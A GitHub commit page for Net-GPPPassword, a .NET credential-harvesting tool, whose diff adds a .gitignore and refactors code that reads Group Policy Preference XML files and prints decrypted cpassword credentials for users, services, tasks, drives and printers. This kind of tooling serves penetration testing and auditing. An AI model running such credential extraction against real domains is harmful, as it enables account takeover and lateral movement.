Skip to content

Commit

Permalink
Merge pull request #1 from upils/master
Browse files Browse the repository at this point in the history
Factorize parsing/printing function and add a .gitignore
  • Loading branch information
stanhegt authored Dec 18, 2019
2 parents b5c86bb + 8db8f6c commit e92c974
Show file tree
Hide file tree
Showing 2 changed files with 32 additions and 88 deletions.
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
.vs/
[Dd]ebug/
[Rr]elease/
[Bb]in/
[Oo]bj/
115 changes: 27 additions & 88 deletions Net-GPPPassword.cs
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
// NET-GPPPassword
// NET-GPPPassword
//
// .NET port of Get-GPPPassword
// Author: Stan Hegt (@StanHacked) / Outflank
Expand Down Expand Up @@ -84,6 +84,26 @@ static string DecryptCPassword(string cPassword)
}
}

// This function parse the XML and extract the given node and print eventually found password
static void ParseAndPrintProperties(XmlDocument xml, string NodePath, string userAttribute )
{
XmlNodeList xnList;
xnList = xml.SelectNodes(NodePath);
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("[RESULT] Username: {0}", xn.Attributes[userAttribute].Value);
Console.WriteLine("[RESULT] Changed: {0}", xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("[RESULT] Password: {0}", DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
}

static void ProcessFile(string path)
{
Console.WriteLine("Parsing file: {0}", path);
Expand All @@ -98,106 +118,25 @@ static void ProcessFile(string path)
Console.WriteLine("Error parsing {0}", path);
return;
}

string resultPrefixString = "[RESULT] ";
XmlNodeList xnList;
switch (Path.GetFileName(path).ToLower())
{
case "groups.xml":
xnList = xml.SelectNodes("/Groups/User/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["userName"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/Groups/User/Properties", "userName");
break;
case "services.xml":
xnList = xml.SelectNodes("/NTServices/NTService/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["accountName"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/NTServices/NTService/Properties", "accountName");
break;
case "scheduledtasks.xml":
xnList = xml.SelectNodes("/ScheduledTasks/Task/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["runAs"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/ScheduledTasks/Task/Properties", "runAs");
break;
case "datasources.xml":
xnList = xml.SelectNodes("/DataSources/DataSource/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/DataSources/DataSource/Properties", "username");
break;
case "printers.xml":
xnList = xml.SelectNodes("/Printers/SharedPrinter/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/Printers/SharedPrinter/Properties", "username");
break;
case "drives.xml":
xnList = xml.SelectNodes("/Drives/Drive/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/Drives/Drive/Properties", "username");
break;
}
}
Expand Down

0 comments on commit e92c974

Please sign in to comment.